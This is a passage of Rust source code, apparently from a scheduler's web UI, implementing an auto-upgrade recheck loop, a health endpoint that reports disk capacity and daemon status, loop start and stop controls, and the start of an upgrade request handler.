2672                updater::log_warn(
2673                    &ui.home,
2674                    &format!("auto-upgrade: config unavailable: {e:#}"),
2675                );
2676                tokio::time::sleep(UPDATE_RECHECK_POLL_MAX).await;
2677                continue;
2678            }
2679        };
2680        if should_spawn_recheck(&cfg.update)
2681            && let Some(checker) = updater::Checker::new(&cfg.update)
2682        {
2683            let progress = updater::read_progress(&ui.home);
2684            let mut latest = checker.cached_update();
2685            if update_recheck_due(&checker, progress.as_ref()) {
2686                match checker.newer_release().await {
2687                    Ok(found) => latest = found,
2688                    Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2689                }
2690            }
2691            if cfg.update.auto_restart
2692                && let Some(latest) = latest
2693            {
2694                let response =
2695                    begin_upgrade(&ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2696                updater::log_step(
2697                    &ui.home,
2698                    &format!("auto-upgrade: request status {}", response.status()),
2699                );
2700            }
2701        }
2702        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2703    }
2704}
2705
2706/// [`UpdateView`] from the same throttled, disk-only state
2707/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2708/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2709/// no cached state at all, which is correct: an operator who turned checking
2710/// off gets no opinion, not a stale one.
2711fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2712    let default;
2713    let cfg = match cfg {
2714        Some(cfg) => cfg,
2715        None => {
2716            default = Config::default();
2717            &default
2718        }
2719    };
2720    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2721    match latest {
2722        Some(latest) => UpdateView {
2723            available: true,
2724            to: Some(latest.tag_name),
2725        },
2726        None => UpdateView {
2727            available: false,
2728            to: None,
2729        },
2730    }
2731}
2732
2733/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2734/// from the parked run's own state when the stage is
2735/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2736/// already on disk in `run.json`, so this reads them fresh rather than
2737/// trusting whatever was true the moment the park was requested.
2738fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2739    let now = Timestamp::now();
2740    let lease = updater::read_lease(&ui.home);
2741    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2742    let run_id = alive
2743        .and_then(|l| l.parked_run.as_deref())
2744        .or(progress.parked_run.as_deref());
2745    let parking = progress.stage == updater::Stage::Parking;
2746    let waited = alive.map_or_else(String::new, |l| {
2747        let secs = updater::waited_secs(l, now);
2748        format!(" (waited {} min so far)", secs / 60)
2749    });
2750    let run_text = run_id
2751        .filter(|_| parking)
2752        .map(|id| match read_run(&ui.runs, id).ok() {
2753            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2754            None => format!("run {id} is finishing"),
2755        });
2756    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2757        .filter(|t| parking && !t.is_empty())
2758        .map(|t| format!("{t} finishing"));
2759    let waiting_on = match (run_text, talks_text) {
2760        (None, None) => None,
2761        (run, talks) => {
2762            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2763            Some(format!(
2764                "{} before the address is handed over{waited}",
2765                parts.join(" and ")
2766            ))
2767        }
2768    };
2769    let detail = progress
2770        .detail
2771        .clone()
2772        .or_else(|| updater::read_note(&ui.home, &progress));
2773    let stalled = updater::stall(&progress, lease.as_ref(), now);
2774    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2775    UpgradeProgressView {
2776        trigger: progress.trigger,
2777        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2778        stuck_kind: stalled.map(|s| s.kind),
2779        handover_alive: alive.is_some(),
2780        stage: progress.stage,
2781        from: progress.from,
2782        to: progress.to,
2783        waiting_on,
2784        started_at: progress.started_at,
2785        updated_at: progress.updated_at,
2786        detail,
2787    }
2788}
2789
2790/// Last successful capacity observations, independent of admission/cleanup.
2791/// Cold or unavailable directory measurements are null, never invented zeros.
2792#[derive(Debug, Serialize)]
2793struct DiskView {
2794    /// Free bytes on the volume holding the runs, when measurable.
2795    #[serde(skip_serializing_if = "Option::is_none")]
2796    free_bytes: Option<u64>,
2797    /// Everything the runs directory occupies, when fully measurable.
2798    runs_bytes: Option<u64>,
2799    /// Everything the runs' worktrees occupy.
2800    worktrees_bytes: Option<u64>,
2801    /// The shared build cache's size, when the config names one.
2802    #[serde(skip_serializing_if = "Option::is_none")]
2803    cache_bytes: Option<u64>,
2804    /// Last bounded cleanup report, including retention and failure reasons.
2805    retention: Option<crate::retention::Report>,
2806}
2807
2808/// Capacity walks have their own demand-driven single flight, not the revision
2809/// worker: a large build cache must never delay revisions or a health response.
2810const DISK_REFRESH: Duration = Duration::from_secs(60);
2811
2812#[derive(Debug, Clone, PartialEq, Eq)]
2813struct DiskScope {
2814    runs: PathBuf,
2815    worktrees: PathBuf,
2816    cache: Option<PathBuf>,
2817}
2818
2819impl DiskScope {
2820    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2821        Self {
2822            runs: ui.runs.clone(),
2823            worktrees: ui.worktrees_root.clone(),
2824            cache: cfg.and_then(Config::cache_dir),
2825        }
2826    }
2827}
2828
2829#[derive(Debug, Clone, Copy, Default)]
2830struct DiskCapacity {
2831    free_bytes: Option<u64>,
2832    runs_bytes: Option<u64>,
2833    worktrees_bytes: Option<u64>,
2834    cache_bytes: Option<u64>,
2835}
2836
2837impl DiskCapacity {
2838    fn measure(scope: &DiskScope) -> Self {
2839        Self {
2840            free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2841            runs_bytes: disk_capacity_size(&scope.runs),
2842            worktrees_bytes: disk_capacity_size(&scope.worktrees),
2843            cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2844        }
2845    }
2846
2847    fn retain_successes(&mut self, next: Self) {
2848        self.free_bytes = next.free_bytes.or(self.free_bytes);
2849        self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2850        self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2851        self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2852    }
2853}
2854
2855/// Like disk::dir_size, do not follow links. Unlike its admission-oriented
2856/// best-effort total, an incomplete observation must not look like an empty tree.
2857fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2858    let metadata = match std::fs::symlink_metadata(path) {
2859        Ok(metadata) => metadata,
2860        Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2861        Err(_) => return None,
2862    };
2863    if !metadata.is_dir() {
2864        return Some(if metadata.is_file() {
2865            metadata.len()
2866        } else {
2867            0
2868        });
2869    }
2870    let mut total = 0;
2871    let mut stack = vec![path.to_owned()];
2872    while let Some(dir) = stack.pop() {
2873        for entry in std::fs::read_dir(dir).ok()? {
2874            let entry = entry.ok()?;
2875            let metadata = entry.metadata().ok()?;
2876            if metadata.is_dir() {
2877                stack.push(entry.path());
2878            } else if metadata.is_file() {
2879                total += metadata.len();
2880            }
2881        }
2882    }
2883    Some(total)
2884}
2885
2886#[derive(Debug, Default)]
2887struct DiskObservation {
2888    scope: Option<DiskScope>,
2889    capacity: DiskCapacity,
2890    in_flight: bool,
2891    finished: Option<std::time::Instant>,
2892}
2893
2894impl DiskObservation {
2895    fn observe(
2896        state: &Arc<Mutex<Self>>,
2897        scope: DiskScope,
2898        measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2899    ) -> DiskCapacity {
2900        let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2901        if observation.scope.as_ref() != Some(&scope) {
2902            observation.scope = Some(scope.clone());
2903            observation.capacity = DiskCapacity::default();
2904            observation.finished = None;
2905        }
2906        let capacity = observation.capacity;
2907        if observation.in_flight
2908            || observation
2909                .finished
2910                .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2911        {
2912            return capacity;
2913        }
2914        observation.in_flight = true;
2915        drop(observation);
2916
2917        let refresh = DiskRefresh {
2918            state: Arc::clone(state),
2919            scope,
2920        };
2921        tokio::task::spawn_blocking(move || {
2922            let next = measure(&refresh.scope);
2923            let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2924            if observation.scope.as_ref() == Some(&refresh.scope) {
2925                observation.capacity.retain_successes(next);
2926            }
2927            drop(observation);
2928            // The guard also clears the flight on panic or a cancelled,
2929            // not-yet-started blocking job. No failed scan can wedge health.
2930            drop(refresh);
2931        });
2932        capacity
2933    }
2934}
2935
2936struct DiskRefresh {
2937    state: Arc<Mutex<DiskObservation>>,
2938    scope: DiskScope,
2939}
2940
2941impl Drop for DiskRefresh {
2942    fn drop(&mut self) {
2943        let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2944        observation.in_flight = false;
2945        if observation.scope.as_ref() == Some(&self.scope) {
2946            // Wait a full period after completion, including failed scans.
2947            observation.finished = Some(std::time::Instant::now());
2948        }
2949    }
2950}
2951
2952impl DiskView {
2953    /// Return immediately, retaining known capacity while one worker refreshes.
2954    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2955        let capacity = DiskObservation::observe(
2956            &ui.monitor.disk,
2957            DiskScope::of(ui, cfg),
2958            DiskCapacity::measure,
2959        );
2960        Self::with_capacity(ui, capacity)
2961    }
2962
2963    fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
2964        Self {
2965            free_bytes: crate::disk::free_bytes(&ui.runs)
2966                .ok()
2967                .or(capacity.free_bytes),
2968            runs_bytes: capacity.runs_bytes,
2969            worktrees_bytes: capacity.worktrees_bytes,
2970            cache_bytes: capacity.cache_bytes,
2971            retention: ui
2972                .runs
2973                .parent()
2974                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2975                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2976        }
2977    }
2978}
2979
2980/// The daemon's state as the UI presents it.
2981#[derive(Debug, Serialize)]
2982struct DaemonView {
2983    running: bool,
2984    idle: Option<bool>,
2985    pid: Option<u32>,
2986    /// Every task and run currently in flight. Empty when idle; more than
2987    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2988    /// run going at once.
2989    current: Vec<daemon::Current>,
2990    completed: Option<u64>,
2991    stale_for_secs: Option<i64>,
2992}
2993
2994impl DaemonView {
2995    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2996    /// not this UI's — a crashed daemon must not look alive here while
2997    /// `doctor` calls it dead.
2998    fn of(status: Option<daemon::Reading>) -> Self {
2999        let Some(status) = status else {
3000            return Self {
3001                running: false,
3002                idle: None,
3003                pid: None,
3004                current: Vec::new(),
3005                completed: None,
3006                stale_for_secs: None,
3007            };
3008        };
3009        let now = Timestamp::now();
3010        let age = status.age_secs(now);
3011        Self {
3012            running: status.running(now),
3013            idle: Some(status.idle),
3014            pid: status.pid,
3015            current: status.current,
3016            completed: Some(status.completed),
3017            stale_for_secs: age,
3018        }
3019    }
3020}
3021
3022// Discover display configuration off the request path. Capacity measurement
3023// retains its separate single flight and scope/failure handling below.
3024fn refresh_health_config(ui: &Arc<Ui>) {
3025    let mut cache = ui
3026        .monitor
3027        .disk_cache
3028        .lock()
3029        .unwrap_or_else(PoisonError::into_inner);
3030    if cache.loading
3031        || cache
3032            .measured
3033            .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
3034    {
3035        return;
3036    }
3037    cache.loading = true;
3038    let weak = Arc::downgrade(ui);
3039    std::thread::spawn(move || {
3040        let Some(ui) = weak.upgrade() else { return };
3041        let cfg = deputy_config(&ui.repo);
3042        let update = cached_update_view(cfg.as_ref());
3043        let mut cache = ui
3044            .monitor
3045            .disk_cache
3046            .lock()
3047            .unwrap_or_else(PoisonError::into_inner);
3048        cache.config = cfg;
3049        cache.update = Some(update);
3050        cache.measured = Some(std::time::Instant::now());
3051        cache.loading = false;
3052    });
3053}
3054
3055fn health_counts(
3056    ui: &Ui,
3057    fallback_questions_rev: u64,
3058) -> ApiResult<(usize, usize, usize, u64, usize)> {
3059    let mut index = ui
3060        .monitor
3061        .health_index
3062        .lock()
3063        .unwrap_or_else(PoisonError::into_inner);
3064    let ids = run_ids(&ui.runs);
3065    let seen: HashSet<_> = ids.iter().cloned().collect();
3066    index.runs.retain(|id, _| seen.contains(id));
3067    let mut unreadable = 0;
3068    for id in ids {
3069        // Recheck identity on every request, including atomic replacements
3070        // with preserved length/mtime. A failed stat is never cached as good.
3071        let identity = file_identity(&ui.runs.join(&id).join("run.json"));
3072        let bad = match identity {
3073            Ok(identity) => {
3074                if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
3075                    let bad = read_run(&ui.runs, &id).is_err();
3076                    index.runs.insert(id.clone(), (identity, bad));
3077                    #[cfg(test)]
3078                    {
3079                        index.run_parses += 1;
3080                    }
3081                }
3082                index.runs[&id].1
3083            }
3084            Err(_) => true,
3085        };
3086        unreadable += usize::from(bad);
3087    }
3088    let questions_rev = try_stamps(ui.questions.root(), false, true)
3089        .map(|stamps| stamps_revision(&stamps))
3090        .unwrap_or(fallback_questions_rev);
3091    if index.questions.as_ref().is_none_or(|counts| {
3092        counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
3093    }) {
3094        let questions = ui.questions.list();
3095        index.questions = Some(QuestionCounts {
3096            revision: questions_rev,
3097            measured: std::time::Instant::now(),
3098            open: questions.iter().filter(|q| q.status.open()).count(),
3099            owner: questions
3100                .iter()
3101                .filter(|q| {
3102                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
3103                })
3104                .count(),
3105        });
3106    }
3107    let notifications_rev =
3108        stamps_revision(&try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?);
3109    if index
3110        .notices
3111        .is_none_or(|(rev, _)| rev != notifications_rev)
3112    {
3113        index.notices = Some((notifications_rev, ui.notices.count_unread()));
3114    }
3115    let questions = index.questions.as_ref().unwrap();
3116    Ok((
3117        unreadable,
3118        questions.open,
3119        questions.owner,
3120        notifications_rev,
3121        index.notices.unwrap().1,
3122    ))
3123}
3124
3125async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3126    let revisions = ui.monitor.revisions(&ui).await?;
3127    refresh_health_config(&ui);
3128    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3129        // One read of the status file for the two fields that describe it, so
3130        // `daemon` and `loop` in the same answer cannot disagree about who is
3131        // running the loop.
3132        let reading = daemon::read_status(&ui.home);
3133        // Read on its own line, not inside the literal below: the loop's lock
3134        // is not reentrant, and a guard taken as a temporary there would still
3135        // be held when `loop_view` took it again.
3136        let loop_rev = ui.lock_loop().rev;
3137        let (
3138            runs_unreadable,
3139            questions_open,
3140            questions_needs_owner,
3141            notifications_rev,
3142            notifications_unread,
3143        ) = health_counts(&ui, revisions.2)?;
3144        let ((cfg, config_observed, sizes, measured), update) = {
3145            let cache = ui
3146                .monitor
3147                .disk_cache
3148                .lock()
3149                .unwrap_or_else(PoisonError::into_inner);
3150            (
3151                (
3152                    cache.config.clone(),
3153                    cache.measured.is_some(),
3154                    cache.disk.clone(),
3155                    cache.measured,
3156                ),
3157                cache.update.clone().unwrap_or(UpdateView {
3158                    available: false,
3159                    to: None,
3160                }),
3161            )
3162        };
3163        // Retain the base's capacity observation independently of config
3164        // refreshes. A cold config read may still be pending; an existing
3165        // capacity flight must remain visible to concurrent health requests.
3166        let prior_capacity = {
3167            let mut observation = ui
3168                .monitor
3169                .disk
3170                .lock()
3171                .unwrap_or_else(PoisonError::into_inner);
3172            // Adopt a completed size snapshot only before the scoped capacity
3173            // observer has started. Later scope changes remain its authority.
3174            if observation.scope.is_none()
3175                && let Some(sizes) = sizes
3176            {
3177                observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3178                observation.capacity = DiskCapacity {
3179                    runs_bytes: Some(sizes.runs),
3180                    worktrees_bytes: Some(sizes.worktrees),
3181                    cache_bytes: sizes.cache,
3182                    free_bytes: None,
3183                };
3184                observation.finished = measured;
3185            }
3186            observation.scope.as_ref().map(|_| observation.capacity)
3187        };
3188        let disk = if config_observed {
3189            serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3190        } else {
3191            serde_json::to_value(DiskView::with_capacity(
3192                &ui,
3193                prior_capacity.unwrap_or_default(),
3194            ))
3195            .ok()
3196        };
3197        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3198        let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3199        #[cfg(not(test))]
3200        let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3201        #[cfg(test)]
3202        let looping = ui.loop_view(reading.clone());
3203        Ok(Json(HealthView {
3204            jobs: jobs.into_iter().map(WorkerView::from).collect(),
3205            version: env!("CARGO_PKG_VERSION"),
3206            home: ui.home.display().to_string(),
3207            queue_rev: revisions.0,
3208            runs_rev: revisions.1,
3209            questions_rev: revisions.2,
3210            talks_rev: revisions.3,
3211            notifications_rev,
3212            notifications_unread,
3213            loop_rev,
3214            runs_unreadable,
3215            questions_open,
3216            questions_needs_owner,
3217            daemon: DaemonView::of(reading.clone()),
3218            looping,
3219            disk,
3220            update,
3221            upgrade,
3222            upgrade_request_error: ui
3223                .upgrade_request_error
3224                .lock()
3225                .unwrap_or_else(PoisonError::into_inner)
3226                .clone(),
3227        }))
3228    })
3229    .await
3230}
3231
3232/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
3233#[derive(Debug, Serialize)]
3234struct LoopView {
3235    /// A scheduler is running, independently of this web process.
3236    running: bool,
3237    /// The scheduler has been asked to stop scheduling new work.
3238    stopping: bool,
3239    /// An explicit operator park was requested, independently from updates.
3240    parking: bool,
3241    /// This scheduler supports durable controls from any web generation.
3242    owned: bool,
3243    /// Repository the loop uses for tasks that name none - what it was
3244    /// started with while it runs, and what a start would use before that.
3245    repo: String,
3246    /// Merge mode override in force, or `null` when each repository's own
3247    /// config decides.
3248    merge: Option<String>,
3249    /// Why the last loop in this process ended, when it ended badly.
3250    ///
3251    /// The only place a crashed loop is visible to someone holding a phone.
3252    /// It is logged at error level as well, but a terminal nobody kept open
3253    /// is not a report, and a loop that died at 3am must not read as merely
3254    /// stopped in the morning. Named as [`Task::last_error`] is, because it
3255    /// answers the same question about the same kind of failure.
3256    last_error: Option<String>,
3257    /// The status file, judged the same way `/api/health` judges it: this is
3258    /// what says whether a loop is alive in some *other* process.
3259    daemon: DaemonView,
3260}
3261
3262/// A legacy embedded scheduler that this web process cannot control.
3263///
3264/// Worker-protocol schedulers use durable controls regardless of which process
3265/// started them. Older schedulers are identified by their foreign heartbeat.
3266#[derive(Debug, Clone, Copy)]
3267struct Foreign {
3268    /// The pid the other process published, when it published one.
3269    pid: Option<u32>,
3270}
3271
3272impl Foreign {
3273    /// Another process's live loop, or `None` when this process is free to
3274    /// run one.
3275    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3276        // A fresh heartbeat with no pid in it is still evidence of a live
3277        // daemon. "Some other process" is the honest answer, and refusing
3278        // to start beside it is the safe one.
3279        if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3280            return None;
3281        }
3282        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3283    }
3284
3285    /// How a conflict names it. The pid is the whole point of the message: it
3286    /// is what the operator needs to find the terminal that owns the loop.
3287    fn who(&self) -> String {
3288        match self.pid {
3289            Some(pid) => format!("another magi process (pid {pid})"),
3290            None => "another magi process".to_owned(),
3291        }
3292    }
3293}
3294
3295/// How a loop is started, as a future this module can hold onto.
3296///
3297/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
3298/// trait object or a hand-written `Debug` impl for the sake of one seam.
3299type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3300
3301#[cfg(test)]
3302type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3303
3304/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
3305#[cfg(test)]
3306fn launch_daemon(
3307    opts: daemon::Opts,
3308    stop: daemon::Stop,
3309) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3310    Box::pin(daemon::serve_until(opts, stop))
3311}
3312
3313/// Local web-control revisions and errors, plus the unit-test launch seam.
3314#[derive(Debug, Default)]
3315struct LoopState {
3316    /// The loop, while there is one.
3317    #[cfg(test)]
3318    live: Option<Live>,
3319    /// Local control changes streamed as `loop_rev`; actual scheduler and
3320    /// execution ownership comes from durable status and OS-held worker leases.
3321    rev: u64,
3322    /// Why the last loop ended, when it ended badly. See
3323    /// [`LoopView::last_error`].
3324    last_error: Option<String>,
3325}
3326
3327/// A loop in flight.
3328#[cfg(test)]
3329#[derive(Debug)]
3330struct Live {
3331    /// The cooperative stop, shared with the loop task.
3332    stop: daemon::Stop,
3333    /// The task itself, kept only to answer whether it is still there: a loop
3334    /// that panicked never records its own end, and without this the view
3335    /// would go on reporting a loop that no longer exists - the one lie that
3336    /// would leave the operator with no button to press.
3337    handle: tokio::task::JoinHandle<()>,
3338    /// What the loop was started with, so the view reports the repository and
3339    /// merge mode its runs will actually use rather than what an edit to the
3340    /// config since would give.
3341    opts: daemon::Opts,
3342}
3343
3344#[cfg(test)]
3345impl Live {
3346    /// Is the task still there? See [`Live::handle`].
3347    fn alive(&self) -> bool {
3348        !self.handle.is_finished()
3349    }
3350}
3351
3352/// Take the loop lock, recovering from a poisoned one.
3353///
3354/// What this mutex holds is a stop flag, a task handle and two counters, none
3355/// of which a panic elsewhere can leave in a state worth refusing to read.
3356/// Propagating the poison instead would mean an operator who can see the loop
3357/// running and can no longer stop it from the only surface they have.
3358fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3359    state.lock().unwrap_or_else(PoisonError::into_inner)
3360}
3361
3362/// `GET /api/loop`.
3363async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3364    blocking(move || {
3365        let reading = daemon::read_status(&ui.home);
3366        #[cfg(not(test))]
3367        let view = ui.try_loop_view(reading)?;
3368        #[cfg(test)]
3369        let view = ui.loop_view(reading);
3370        Ok(Json(view))
3371    })
3372    .await
3373}
3374
3375/// The body of `POST /api/loop`.
3376///
3377/// One required field and nothing else: no `default` and no unknown fields,
3378/// so a body that fails to say which way the switch was flipped is a 400
3379/// rather than a tap that quietly does the opposite of what was pressed.
3380#[derive(Debug, Deserialize)]
3381#[serde(deny_unknown_fields)]
3382struct LoopCommand {
3383    running: bool,
3384    /// Stop the run in flight at its next node boundary rather than letting it
3385    /// finish.
3386    ///
3387    /// Defaults to false, so the plain stop keeps meaning what it meant: a
3388    /// competition is tens of minutes of paid work and finishing it is
3389    /// normally the cheapest thing to do. A park is for the operator who
3390    /// wants the process gone now - to replace the binary, most of all - and
3391    /// it costs at most the node in progress because every node writes its
3392    /// state before the next one starts.
3393    #[serde(default)]
3394    park: bool,
3395}
3396
3397/// Start or control the detached scheduler without waiting for execution
3398/// workers. Only an explicit park asks workers to stop at a node boundary.
3399async fn loop_post(
3400    State(ui): State<Arc<Ui>>,
3401    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3402) -> ApiResult<Json<LoopView>> {
3403    // Taken as a `Result` so a malformed body is a 400 like every other route
3404    // here, rather than axum's default 422 that the UI has no branch for.
3405    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3406    #[cfg(not(test))]
3407    {
3408        if body.running {
3409            ui.start_detached_loop().await?;
3410        } else {
3411            let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3412            ui.stop_loop(foreign, body.park)?;
3413        }
3414        Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3415    }
3416    #[cfg(test)]
3417    {
3418        blocking(move || {
3419            let reading = daemon::read_status(&ui.home);
3420            let foreign = Foreign::of(reading.as_ref());
3421            if body.running {
3422                ui.start_loop(foreign)?;
3423            } else {
3424                ui.stop_loop(foreign, body.park)?;
3425            }
3426            Ok(Json(ui.loop_view(reading)))
3427        })
3428        .await
3429    }
3430}
3431
3432/// What `POST /api/upgrade` set in motion.
3433#[derive(Debug, Serialize)]
3434struct UpgradeView {
3435    /// The version this process is running.
3436    from: String,
3437    /// The release it is replacing itself with, when there is one.
3438    to: Option<String>,
3439    /// What the operator should expect to happen next.
3440    detail: String,
3441}
3442
3443/// The stage of an upgrade that is still moving, if the record says so.
3444/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3445fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3446    progress.filter(|p| !p.stage.terminal())
3447}
3448
3449/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3450/// Unknown diagnostics retain their complete message without guessing a delay.
3451fn upgrade_retry_after(message: &str) -> Option<u64> {
3452    if !message.contains("GitHub") || !message.contains("rate limit") {
3453        return None;
3454    }
3455    if message.contains("retry now") {
3456        return Some(0);
3457    }
3458    let duration = message
3459        .split_once("resets in ")
3460        .or_else(|| message.split_once("retry after "))?
3461        .1
3462        .split_once(')')?
3463        .0;
3464    let mut rest = duration.trim();
3465    if rest.is_empty() {
3466        return None;
3467    }
3468    let mut total = 0u64;
3469    while !rest.is_empty() {
3470        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3471        let amount: u64 = rest[..n].parse().ok()?;
3472        let scale = match rest[n..].chars().next()? {
3473            's' => 1,
3474            'm' => 60,
3475            'h' => 3600,
3476            'd' => 86400,
3477            _ => return None,
3478        };
3479        total = total.checked_add(amount.checked_mul(scale)?)?;
3480        rest = rest[n + 1..].trim_start();
3481    }
3482    Some(total)
3483}
3484
3485#[derive(Debug, Clone, Serialize)]
3486struct UpgradeRequestFailure {
3487    occurred_at: String,
3488    error: String,
3489    retry_after_secs: Option<u64>,
3490    /// Unix seconds; independent of the phone's polling cadence.
3491    retry_at: Option<u64>,
3492}
3493
3494impl UpgradeRequestFailure {
3495    fn new(error: String) -> Self {
3496        let retry_after_secs = upgrade_retry_after(&error);
3497        let now = std::time::SystemTime::now()
3498            .duration_since(std::time::UNIX_EPOCH)
3499            .unwrap_or_default()
3500            .as_secs();
3501        Self {
3502            occurred_at: jiff::Timestamp::now().to_string(),
3503            error,
3504            retry_after_secs,
3505            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3506        }
3507    }
3508}
3509
3510/// `POST /api/upgrade` - replace this binary with the newest release and come
3511/// back on it.
3512///
3513/// Replace the installed binary, restart the detached scheduler, release the
3514/// web listener, then start the successor. Active task and conversation
3515/// workers retain their immutable executable and continue without parking.
3516///
3517/// A legacy embedded scheduler is the only incompatible owner: its work
3518/// must finish or park before the first migration replaces its process.
3519///
3520/// Answers **202**: the reply has to reach the phone while this process can
3521/// still send one, and the phone learns the deck is back by reconnecting.
3522async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3523    begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3524}
3525
3526async fn begin_upgrade(
3527    ui: &Arc<Ui>,
3528    trigger: updater::UpgradeTrigger,
3529    latest: Option<kaishin::LatestRelease>,
3530) -> Response {
3531    let reading = daemon::read_status(&ui.home);
3532    if let Some(other) = Foreign::of(reading.as_ref()) {
3533        return ApiError::conflict(format!(
3534            "{} is a legacy scheduler without detached restart support. \
3535             Finish or explicitly park its work in the existing UI before \
3536             this first migration; independent schedulers do not need this.",
3537            other.who()
3538        ))
3539        .into_response();
3540    }
3541
3542    // A second upgrade while one is moving would replace the binary and
3543    // signal the handover again after `serve` already consumed the first
3544    // signal, leaving the process in `replaced` forever. Try-lock rather than
3545    // wait: a phone connection must not hang behind a GitHub round trip.
3546    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3547        return ApiError::conflict("another request is already preparing an upgrade")
3548            .into_response();
3549    };
3550    // Hold the same gate through recording/clearing the request outcome, so
3551    // an older response cannot overwrite a retry's result.
3552    if trigger == updater::UpgradeTrigger::Auto {
3553        let cfg = match Config::discover(&ui.repo, None) {
3554            Ok((cfg, _)) => cfg,
3555            Err(e) => {
3556                return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3557            }
3558        };
3559        let Some(latest) = latest else {
3560            return StatusCode::NO_CONTENT.into_response();
3561        };
3562        let busy = ui.auto_upgrade_busy();
3563        let failed = ui
3564            .auto_failed_tag
3565            .lock()
3566            .unwrap_or_else(PoisonError::into_inner)
3567            .clone();
3568        let decision = auto_upgrade_decision(
3569            &cfg.update,
3570            updater::disabled_by_env(),
3571            ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3572                || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some(),
3573            busy,
3574            &latest.tag_name,
3575            failed.as_deref(),
3576        );
3577        if decision != AutoUpgradeDecision::Trigger {
3578            let reason = match decision {
3579                AutoUpgradeDecision::Wait => "busy; waiting for runs and chats to finish",
3580                AutoUpgradeDecision::Skip(reason) => reason,
3581                AutoUpgradeDecision::Trigger => unreachable!(),
3582            };
3583            updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3584            return StatusCode::NO_CONTENT.into_response();
3585        }
3586        // Close run admission, then recheck under the same request gate.
3587        // A resume that got in before the flag is visible in `resuming`;
3588        // one that arrives afterwards is refused by `begin_resume`.
3589        ui.upgrade_spawned
3590            .store(true, std::sync::atomic::Ordering::SeqCst);
3591        if ui.auto_upgrade_busy() {
3592            ui.upgrade_spawned
3593                .store(false, std::sync::atomic::Ordering::SeqCst);
3594            updater::log_step(&ui.home, "auto-upgrade: work started; waiting for idle");
3595            return StatusCode::NO_CONTENT.into_response();
3596        }
3597        updater::log_step(&ui.home, "auto-upgrade: idle; beginning update and restart");
